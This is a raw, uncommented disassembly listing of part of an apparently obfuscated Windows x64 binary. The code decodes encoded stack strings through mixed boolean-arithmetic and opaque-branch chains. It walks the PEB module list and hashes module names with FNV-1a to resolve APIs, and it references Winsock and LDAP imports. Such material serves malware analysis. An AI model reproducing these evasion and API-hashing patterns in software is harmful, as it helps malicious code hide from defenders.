sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401296df
lea rax, [r10 + 1]
cmp rbx, rax
je 0x140129ddb
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140129dc4
lea rax, [r10 + 4]
cmp rbx, rax
je 0x140129d96
mov dl, 0x50
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x140129b5e
lea rax, [r10 + 1]
cmp rbx, rax
je 0x140129b41
lea rax, [r10 + 0x1000]
cmp rbx, rax
je 0x140129b2e
lea rax, [r10 + 0x42]
cmp rbx, rax
je 0x140129b22
lea rax, [r10 + 9]
cmp rbx, rax
je 0x140129bdd
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140129b04
lea rax, [r10 + 0x61]
cmp rbx, rax
je 0x140129ae7
lea rax, [r10 + 6]
cmp rbx, rax
je 0x140129ad3
lea rax, [r10 + 0x2a]
cmp rbx, rax
je 0x140129bb9
lea rax, [r10 + 0x400]
cmp rbx, rax
je 0x140129ab9
lea rax, [r10 + 0x40]
cmp rbx, rax
je 0x1401296ee
lea rbx, [r10 + 0x3e8]
lea r10, [rbx + 8]
lea rax, [r10 + 0x28]
cmp rbx, rax
jb 0x140129ee6
lea rax, [r10 + 6]
cmp rbx, rax
jb 0x140129ec7
lea rax, [r10 + 0x2a]
cmp rbx, rax
jb 0x1401298d9
lea rax, [r10 + 0x400]
cmp rbx, rax
jb 0x1401298c0
lea rax, [r10 + 0x40]
cmp rbx, rax
jb 0x1401298a7
lea rax, [r10 + 0x41]
cmp rbx, rax
jb 0x140129a6a
lea rax, [r10 + 0x200]
cmp rbx, rax
jb 0x140129a04
lea rax, [r10 + 0x20]
cmp rbx, rax
jb 0x1401299f7
lea rax, [r10 + 5]
cmp rbx, rax
jb 0x1401299d4
lea rax, [r10 + 0x5a]
cmp rbx, rax
jb 0x1401296ee
lea rbx, [r10 + 4]
lea r10, [rbx + 0x3e8]
lea rax, [r10 + 0x41]
cmp rbx, rax
ja 0x1401299b7
lea rax, [r10 + 0x200]
cmp rbx, rax
ja 0x14012999c
lea rax, [r10 + 0x20]
cmp rbx, rax
ja 0x140129981
lea rax, [r10 + 5]
cmp rbx, rax
ja 0x140129967
lea rcx, [r10 + 0x64]
cmp rbx, rcx
ja 0x140129954
lea rax, [r10 + 0xa]
cmp rbx, rax
ja 0x140129935
lea rax, [r10 + 3]
cmp rbx, rax
ja 0x140129927
lea rax, [r10 + 0x7a]
cmp rbx, rax
ja 0x140129919
lea rax, [r10 + 0x80]
cmp rbx, rax
ja 0x1401298f9
lea rax, [r10 + 0x10]
cmp rbx, rax
ja 0x1401296ee
mov rbx, rcx
lea r10, [rcx + 0x1000]
jmp 0x1401296ee
lea ecx, [r9 + 0x30]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, dl
jmp 0x1401296e1
lea ecx, [r14 + r9]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, r11b
jmp 0x14012968b
mov dl, r9b
sub dl, r14b
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140129624
lea ecx, [r9 + 0x80]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x80
mov r11b, r9b
jmp 0x140129e07
lea edx, [r9 + r13]
mov ecx, Ordinal_50
jmp 0x140129c58
lea edx, [r15 + r9]
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x140129c14
lea edx, [r9 + 0x20]
mov al, dl
and al, r8b
mov ecx, r14d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
mov r11b, r9b
jmp 0x140129d2c
mov cl, r9b
and cl, r8b
add cl, cl
mov dil, r9b
sub dil, cl
jmp 0x140129b1a
lea ecx, [r9 - 0x20]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x20
jmp 0x140129db1
mov cl, r9b
sub cl, r15b
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, r15b
jmp 0x140129d69
mov cl, r9b
sub cl, r13b
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, r13b
jmp 0x140129e67
lea ecx, [r9 + 0x80]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x80
jmp 0x140129eb3
lea edx, [r9 - 0x50]
mov al, dl
and al, r8b
mov ecx, Ordinal_26
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
mov byte [rbp + r9 - 0x70], dil
jmp 0x140129ebf
mov dl, r9b
sub dl, r11b
mov ecx, 8
jmp 0x140129a36
lea ecx, [r11 + r9]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, r14b
cmp rbx, 0x41
jae 0x140129d09
lea rax, [r10 + 0x28]
cmp rbx, rax
jbe 0x140129c93
lea edx, [r9 + 0x20]
mov ecx, r14d
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp r10, 0xa
jb 0x1401299ed
mov r11b, r9b
lea ecx, [r11 + r13]
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
lea edi, [rcx + rcx]
sub dil, r15b
jmp 0x140129e07
lea ecx, [rdx + r9]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x30
mov esi, 8
lea rax, [r10 + rbx]
cmp rax, 0x28
je 0x140129d4e
lea rax, [r10 + 1]
cmp rbx, rax
jbe 0x140129c29
lea ecx, [r9 + 0x50]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x30
jmp 0x140129a18
lea ecx, [r9 - 0x20]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x20
jmp 0x140129eb3
mov cl, r9b
sub cl, r13b
mov al, cl
and al, r8b
add al, al
sub cl, al
jmp 0x140129d62
lea ecx, [r9 + 0x80]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x80
jmp 0x140129db1
lea edx, [r9 + r13]
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140129d49
lea edx, [r9 + 0x20]
mov ecx, r14d
jmp 0x140129c14
mov cl, r9b
and cl, r8b
add cl, cl
mov dil, r9b
sub dil, cl
jmp 0x140129c65
mov r11b, r9b
lea ecx, [r11 - 0x20]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x20
jmp 0x140129e07
lea rax, [r10 + 0x1000]
cmp rbx, rax
jae 0x140129b8c
mov dl, r9b
sub dl, r11b
mov al, dl
and al, r8b
mov esi, 8
mov ecx, esi
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140129a84
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140129bb0
mov cl, r9b
sub cl, r13b
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, r13b
jmp 0x140129eb3
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140129bd4
mov cl, r9b
sub cl, r15b
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, r15b
jmp 0x140129e67
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x140129bfe
mov r11b, r9b
lea edx, [r15 + r11]
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140129d2c
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x140129a7f
lea edx, [r9 + r13]
mov ecx, Ordinal_50
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140129e3d
jne 0x140129c47
mov r11b, r9b
lea ecx, [r11 + 0x70]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, r14b
jmp 0x140129e07
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140129c6d
mov dl, r9b
sub dl, r11b
mov ecx, esi
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140129e24
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x140129a18
lea ecx, [r11 + r9]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, r14b
jmp 0x140129eb3
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140129cba
lea edx, [r15 + r9]
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140129eb3
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140129ce2
mov dl, r9b
lea ecx, [rdx + 0x80]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x80
jmp 0x140129d6c
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140129a46
mov r11b, r9b
lea ecx, [r11 - 0x20]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x20
jmp 0x140129d2c
mov r11b, r9b
lea edx, [r11 + 0x80]
mov al, dl
and al, r8b
add al, al
mov dil, byte [rbp + r9 - 0x70]
sub dil, al
add dil, 0x80
add dil, r8b
add dil, dl
add r11b, r14b
mov al, r8b
and al, r11b
add al, al
sub r8b, al
sub r8b, 0x70
add r8b, dil
add r8b, r11b
mov byte [rbp + r9 - 0x70], r8b
add rbx, r10
jmp 0x140129db1
mov cl, r9b
sub cl, r13b
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, byte [rbp + r9 - 0x70]
lea edi, [r8 + rcx]
sub dil, r13b
mov dl, r9b
add dl, 0x30
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x50
add cl, dl
movzx eax, cl
mov byte [rbp + r9 - 0x70], al
inc r10
add rax, r10
sub r9, rax
jmp 0x140129e67
mov dl, r9b
sub dl, r11b
mov al, dl
and al, r8b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140129ebf
lea ecx, [r9 + 0x30]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x50
jmp 0x140129e3d
mov r11b, r9b
mov dl, r9b
sub dl, r14b
mov ecx, Ordinal_60
jmp 0x140129df7
mov r11b, r9b
lea edx, [r11 - 0x50]
mov ecx, Ordinal_26
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
sub r11b, r14b
mov al, r8b
and al, r11b
mov ecx, Ordinal_60
sub cl, al
add cl, cl
add cl, r8b
add cl, r11b
mov byte [rbp + r9 - 0x70], cl
inc r10
jmp 0x140129e3d
lea ecx, [r9 + 0x70]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, r14b
dec r9
jmp 0x140129ebf
movabs rdx, 0x1aacbe4ba9d4d3d0
add rdx, r9
mov r8b, r11b
mov al, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
mov cl, r9b
sub cl, r15b
mov al, r8b
and al, cl
add al, al
sub r8b, al
add r8b, cl
sub r8b, r15b
mov byte [rbp + r9 - 0x70], r8b
inc rbx
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x140129eb3
movabs rcx, 0x4334722d65e618b0
add rcx, r9
mov al, cl
and al, r11b
mov edx, Ordinal_26
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
movzx eax, byte [rbp + r9 - 0x70]
add rax, r10
add r9, rax
inc r9
jmp 0x140129614
sub r9b, 0x30
mov al, r9b
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r8b
jmp 0x140129611
sub r9b, dl
mov al, r9b
and al, r8b
mov ecx, Ordinal_26
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r8b
jmp 0x140129601
lea rax, [rbp + 0x172dc50]
jmp 0x140129f1a
lea rax, [rbp + 0xea39e0]
jmp 0x140129f1a
lea rax, [rbp - 0x70]
mov qword [rbp + 0x20], rax
mov dword [rsp + 0x40], 0x6bfe6dd7
mov dword [rsp + 0x44], 0x67f869fb
mov dword [rsp + 0x48], 0x63f665c5
mov dword [rsp + 0x4c], 0x5ff161c4
mov dword [rsp + 0x50], 0x5bd55dd5
mov dword [rsp + 0x54], 0x57cb59d4
mov dword [rsp + 0x58], 0x53eb55c1
mov dword [rsp + 0x5c], 0x4fd451c2
mov dword [rsp + 0x60], 0x4bc44ddf
mov dword [rsp + 0x64], 0x47db49dd
mov dword [rsp + 0x68], 0x434245ca
xor eax, eax
mov qword [rsp + 0x6c], rax
mov byte [rsp + 0x74], al
mov r14b, 0x3e
lea r13d, [rax + 0x27]
lea r15d, [rax + 0x23]
mov dil, byte [rsp + 0x30]
call fcn.14018987c
mov rbx, qword [rax]
call fcn.140189884
mov r10, qword [rax]
mov r9, r12
cmp r9, 0x35
jae 0x14012a727
movzx r8d, byte [rsp + r9 + 0x40]
mov r11, r8
cmp rbx, r9
ja 0x14012a71e
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x140129feb
movabs rcx, 0x620242a85535bb52
add rcx, r9
mov rax, rcx
and rax, r8
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r8
sub dil, r14b
jmp 0x14012a025
je 0x14012a6a8
lea rax, [r10 + 3]
cmp rbx, rax
je 0x14012a635
lea rax, [r10 + 2]
cmp rbx, rax
je 0x14012a603
lea rax, [r10 + 5]
cmp rbx, rax
je 0x14012a5e5
lea rax, [r10 + 6]
cmp rbx, rax
je 0x14012a5c4
cmp r10, r9
ja 0x14012a715
lea rax, [r10 + 0xa]
cmp rbx, rax
jae 0x14012a04e
lea ecx, [r9 - 0x46]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x16
jmp 0x14012a08f
lea rax, [r10 + 1]
cmp rbx, rax
je 0x14012a585
lea rax, [r10 + 2]
cmp rbx, rax
je 0x14012a56d
lea rax, [r10 + 3]
cmp rbx, rax
je 0x14012a52f
lea rax, [r10 + 4]
cmp rbx, rax
je 0x14012a518
lea rax, [r10 + 6]
cmp rbx, rax
je 0x14012a4fd
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x14012a252
lea rax, [r10 + 0x5a]
cmp rbx, rax
je 0x14012a241
lea rax, [r10 + 0x1000]
cmp rbx, rax
je 0x14012a226
lea rax, [r10 + 0x80]
cmp rbx, rax
je 0x14012a218
lea rax, [r10 + 0x28]
cmp rbx, rax
je 0x14012a1fb
lea rbx, [r10 + 0x10]
lea r10, [rbx + 0x80]
lea rax, [r10 + 0x7a]
cmp rbx, rax
jb 0x14012a6f8
lea rax, [r10 + 0x3e8]
cmp rbx, rax
jb 0x14012a6dc
lea rax, [r10 + 0x42]
cmp rbx, rax
jb 0x14012a174
lea rax, [r10 + 0x10]
cmp rbx, rax
jb 0x14012a157
lea rbx, [r10 + 9]
lea r10, [rbx + 0x42]
lea rax, [r10 + 0x1000]
cmp rbx, rax
ja 0x14012a1e0
lea rax, [r10 + 0x80]
cmp rbx, rax
ja 0x14012a1c6
lea rax, [r10 + 0x28]
cmp rbx, rax
ja 0x14012a1ab
lea rax, [r10 + 9]
cmp rbx, rax
ja 0x14012a190
lea rbx, [r10 + 6]
lea r10, [rbx + 0x28]
jmp 0x14012a09c
lea edx, [r9 - 0x1e]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x2e
add dil, dl
jmp 0x14012a025
lea edx, [r14 + r9]
mov al, r8b
and al, dl
mov ecx, r13d
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140129fb4
lea ecx, [r9 - 0x64]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x44
jmp 0x14012a622
lea edx, [r9 - 8]
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x14012a4f5
lea edx, [r9 + 0x54]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x4c
jmp 0x14012a314
lea edx, [r9 - 0x50]
mov al, r8b
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x14012a6c5
lea edx, [r9 + 0x28]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x18
mov r11b, r9b
jmp 0x14012a547
lea edx, [r9 - 0x7c]
mov ecx, reloc.WLDAP32.dll_Ordinal_50
jmp 0x14012a5cd
lea ecx, [r9 - 0x20]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x20
jmp 0x14012a5bf
lea edx, [r9 + 0x3c]
mov ecx, reloc.WLDAP32.dll_Ordinal_46
mov r11b, r9b
jmp 0x14012a591
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x14012a2d8
lea edx, [r9 + 0x52]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, dl
sub dil, r14b
lea rax, [r10 + rbx]
cmp rax, 3
je 0x14012a4e2
lea rax, [r10 + 0xa]
cmp rbx, rax
jbe 0x14012a38e
lea edx, [r9 - 0x76]
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
cmp rbx, 1
jae 0x14012a4c3
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14012a44a
lea ecx, [r9 - 0x18]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x58
jmp 0x14012a6c8
jne 0x14012a2f5
lea ecx, [r9 + 0x74]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x2c
jmp 0x14012a6c8
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14012a31c
lea edx, [r9 + 0x18]
mov al, r8b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14012a67f
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x14012a340
lea ecx, [r9 + 4]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x1c
jmp 0x14012a5fe
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x14012a364
lea ecx, [r9 + 0x4c]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x14
jmp 0x14012a5dd
lea rax, [r10 + 9]
cmp rbx, rax
jne 0x14012a272
mov r11b, r9b
lea edx, [r11 - 0x6c]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0xc
jmp 0x14012a59e
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14012a3b4
mov r11b, r9b
lea edx, [r11 + 0x2e]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x42
jmp 0x14012a59e
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14012a3db
lea edx, [r9 - 0x2e]
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14012a5bf
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14012a3ff
lea ecx, [r9 + 0x76]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x3a
jmp 0x14012a5dd
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x14012a422
lea edx, [r9 + 6]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x2a
jmp 0x14012a4f5
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x14012a2a6
lea ecx, [r9 + 0x4e]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x22
jmp 0x14012a6c8
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14012a46d
lea edx, [r9 + 0x30]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x50
jmp 0x14012a4f5
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x14012a491
lea ecx, [r9 + 0x78]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x48
jmp 0x14012a5fe
cmp r10, 0x5a
jb 0x14012a4b9
mov r11b, r9b
lea edx, [r11 - 0x54]
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x68]
jmp 0x14012a5a1
mov byte [rsp + r9 + 0x40], dil
jmp 0x14012a6d4
mov r11b, r9b
lea edx, [r11 + 0x50]
mov al, r8b
and al, dl
add al, al
mov dil, byte [rsp + r9 + 0x40]
sub dil, al
sub dil, 0x30
add dil, r8b
jmp 0x14012a547
lea edx, [r9 - 0xc]
mov al, r8b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14012a657
lea ecx, [r9 + 0x7e]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x72
jmp 0x14012a6c8
lea edx, [r9 + 0x36]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x7a
jmp 0x14012a4f5
mov r11b, r9b
lea edx, [r11 + 0x4a]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 6
add dil, dl
sub r11b, 0x5e
mov al, r8b
and al, r11b
add al, al
sub r8b, al
sub r8b, 0x6e
add r8b, r11b
add r8b, dil
mov byte [rsp + r9 + 0x40], r8b
jmp 0x14012a5fe
lea ecx, [r9 + 2]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0xe
jmp 0x14012a5bf
mov r11b, r9b
lea edx, [r11 + 0x5e]
mov ecx, gethostname
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
sub r11b, 2
mov al, r8b
and al, r11b
mov ecx, 7
sub cl, al
add cl, cl
add cl, r8b
add cl, r11b
mov byte [rsp + r9 + 0x40], cl
inc r10
jmp 0x14012a5dd
lea edx, [r9 - 0x32]
mov ecx, Ordinal_50
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
dec r9
jmp 0x14012a6d4
lea edx, [r9 - 0x7a]
mov al, r8b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
add rbx, r10
jmp 0x14012a622
movabs rcx, 0x721457eafee395e2
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub r11b, al
lea edi, [rcx + r11]
sub dil, 0x2e
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14012a6d4
movabs rcx, 0xae0fd29a54781f3e
add rcx, r9
mov r8b, r11b
and r11b, cl
mov eax, r13d
sub al, r11b
lea edi, [rax + rax]
add dil, cl
add dil, r8b
lea edx, [r9 + 0x46]
mov al, r8b
and al, dl
mov ecx, ntohl
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
movzx eax, cl
mov byte [rsp + r9 + 0x40], al
inc r10
add rax, r10
sub r9, rax
lea ecx, [r9 - 0x68]
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x28
add r8b, cl
mov byte [rsp + r9 + 0x40], r8b
inc rbx
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x14012a6c8
movabs rdx, 0x2606c7f8ffa131f6
add rdx, r9
mov al, r11b
and al, dl
mov ecx, r15d
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, dl
movzx eax, byte [rsp + r9 + 0x40]
add rax, r10
add r9, rax
inc r9
jmp 0x140129fa4
sub r9b, 0x66
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea edi, [r9 + r8]
sub dil, 0x36
jmp 0x140129fa1
sub r9b, 0xa
mov al, r8b
and al, r9b
mov ecx, r15d
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, r9b
jmp 0x140129f91
lea rax, [rbp + 0x159da58]
jmp 0x14012a72c
lea rax, [rbp + 0x14f95aa]
jmp 0x14012a72c
lea rax, [rsp + 0x40]
mov qword [rbp + 0x28], rax
lea rax, [rbp + 0x20]
mov qword [rbp + 0x30], rax
lea rax, [rbp + 0x30]
mov qword [rbp + 0x38], rax
movaps xmm0, xmmword [rbp + 0x30]
movdqa xmmword [rbp + 0x10], xmm0
lea r8, [rsp + 0x30]
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x40]
call fcn.140105cfc
nop
mov r9d, r12d
mov dword [rbp - 0x1c], r12d
call fcn.140167c78
movsx edx, al
call fcn.140167c74
movsx ecx, al
imul edx, ecx
call fcn.140167c84
movsx ecx, al
lea eax, [rcx + rdx*4]
mov dword [rsp + 0x20], eax
call fcn.140167c78
movsx edx, al
call fcn.140167c74
movsx ecx, al
imul edx, ecx
lea r15d, [rdx + rdx*4]
call fcn.140167c84
movsx ecx, al
add r15d, ecx
mov dword [rsp + 0x3c], r15d
call fcn.140167c78
movsx edx, al
call fcn.140167c74
movsx ecx, al
imul edx, ecx
call fcn.140167c84
movsx ecx, al
lea r14d, [rcx + rdx*8]
mov dword [rsp + 0x38], r14d
call fcn.140167c74
movsx edx, al
call fcn.140167c78
movsx ecx, al
imul edx, ecx
imul esi, edx, 7
call fcn.140167c84
movsx ecx, al
add esi, ecx
mov dword [rbp - 0x20], esi
call fcn.140167c74
movsx edx, al
call fcn.140167c78
movsx ecx, al
imul edx, ecx
lea ebx, [rdx + rdx*8]
call fcn.140167c84
movsx ecx, al
add ebx, ecx
mov dword [rbp - 0x24], ebx
call fcn.140167c74
movsx r12d, al
call fcn.140167c78
movsx ecx, al
imul r12d, ecx
call fcn.140167c84
movsx edi, al
mov dword [rsp + 0x34], edi
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x28], xmm1
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14012a8e8
call fcn.140167c7c
movsx edx, al
movsx eax, byte [0x141716b78]
imul edx, eax
add edx, edx
call fcn.140167c88
movsx ecx, al
sub edx, ecx
call fcn.140167c80
movsx ecx, al
add edx, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x14012a8e8
mov eax, 1
mov dword [rbp - 0x30], eax
jmp 0x14012a943
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14012a940
lea ecx, [r12 + rdi]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
lea ecx, [rcx + r12*2]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x28]
cvttsd2si eax, xmm0
jmp 0x14012a8e3
mov eax, dword [rbp - 0x30]
cmp r9d, eax
jge 0x14012b762
mov r13, qword [rbp + 0x40]
mov qword [rsp + 0x28], r13
mov rax, qword [rbp + 0x48]
mov qword [rbp + 0x10], rax
cmp r13, rax
je 0x14012b756
mov r9, qword [0x141718550]
test r9, r9
jne 0x14012aada
xor edi, edi
mov esi, 0x1d8d369c
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rbx, r14
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x14012a9db
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14012a9ce
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14012a9bf
